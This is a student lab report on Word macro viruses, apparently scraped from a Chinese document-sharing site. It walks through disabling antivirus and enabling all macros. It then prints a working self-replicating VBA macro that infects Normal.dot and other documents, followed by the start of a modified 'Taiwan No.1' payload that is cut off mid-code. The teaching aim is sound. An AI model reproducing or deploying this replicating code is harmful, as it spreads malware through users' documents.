欢迎来到天天文库
浏览记录
ID:43010102
大小:782.01 KB
页数:9页
时间:2019-09-23
《计算机宏病毒分析及清除实验》由会员上传分享,免费在线阅读,更多相关内容在应用文档-天天文库。
1、计算机宏病毒分析及清除实验一、实验目的1.了解“宏病毒”机理。2.掌握清除宏病毒的方法。3.掌握采用“宏”和脚本语言进行编程的技术。二、实验环境1.WindowsXP操作系统。2.OfficeWord2010字处理软件。三、实验要求1.宏的编写。2.理解宏病毒的作用机制。四、实验内容与步骤:1.软件设置首先检查电脑里杀毒软件是否开启,如果开启需要关闭它。然后打开一个word文档(我直接打开的“计算机宏病毒分析及清除实验”),依次单击“文件”——“选项”,然后在弹出的“word选项”对话框中单击“
2、信任中心”,然后再单击“信任中心设置”——“宏设置”。选择“启用所有宏”,“信任对VBA工程对象模型的访问”。2.宏病毒实现自我复制功能打开一个word文档(我打开的“计算机宏病毒分析及清除实验”),然后按Alt+F11调用宏编写窗口,在左侧菜单栏中依次单击“project(计算机宏病毒分析及清除实验)”—“MicrosoftWord对象”—“ThisDocument”,在这里输入实验代码单击“保存”,这时该文档就含有了宏病毒,然后单击“执行”,就立刻弹出一个窗口,第二次打开该文档,就自动执行以
3、上代码,并将自身复制到Normal.dot和当前文档的ThisDocument中,此时所有的word文档关闭时,都将运行以上的病毒代码,产生影响。我又新建立了一个名字为“111”的word文档,打开后关闭就弹出一个提示框。代码如下:'Macro-1:Micro-VirusSubDocument_Open()OnErrorResumeNextApplication.DisplayStatusBar=FalseOptions.SaveNormalPrompt=FalseSetourcodemodul
4、e=ThisDocument.VBProject.VBComponents(1).CodeModuleSethost=NormalTemplate.VBProject.VBComponents(1).CodeModuleIfThisDocument=NormalTemplateThenSethost=ActiveDocument.VBProject.VBComponents(1).CodeModuleEndIfWithhostIf.Lines(1,1)<>"'Micro-Virus"Then.D
5、eleteLines1,.CountOfLines.InsertLines1,ourcodemodule.Lines(1,100).ReplaceLine2,"SubDocument_Close()"IfThisDocument=NormalTemplateThen.ReplaceLine2,"SubDocument_Open()"ActiveDocument.SaveAsActiveDocument.FullNameEndIfEndIfEndWithMsgBox"B1104-何家红-16"En
6、dSub结果显示如下:上图为复制完代码保存后,单击执行的结果图上图为模板被感染病毒的结果图上图为新建文档“111”被感染病毒结果图3.具有一定破坏性的宏本程序是以著名宏病毒“台湾一号”的恶意代码部分为基础,对源代码进行了适当的修改,这样降低了破坏性,否则实验室机器将受到严重影响。它的环境和操作方法与上面的相同。代码如下:'Macro_2:moonlightDimnm(4)SubDocument_Open()'DisableInput1Setourcodemodule=ThisDocument.V
7、BProject.VBComponents(1).CodeModuleSethost=NormalTemplate.VBProject.VBComponents(1).CodeModuleIfThisDocument=NormalTemplateThenSethost=ActiveDocument.VBProject.VBComponents(1).CodeModuleEndIfWithhostIf.Lines(1,1)<>"'moonlight"Then.DeleteLines1,.Count
8、OfLines.InsertLines1,ourcodemodule.Lines(1,100).ReplaceLine3,"SubDocument_Close()"IfThisDocument=NormalTemplateThen.ReplaceLine3,"SubDocument_Open()"ActiveDocument.SaveAsActiveDocument.FullNameEndIfEndIfEndWithCount=0IfYear(Now())=2013Thentry:OnError
此文档下载收益归作者所有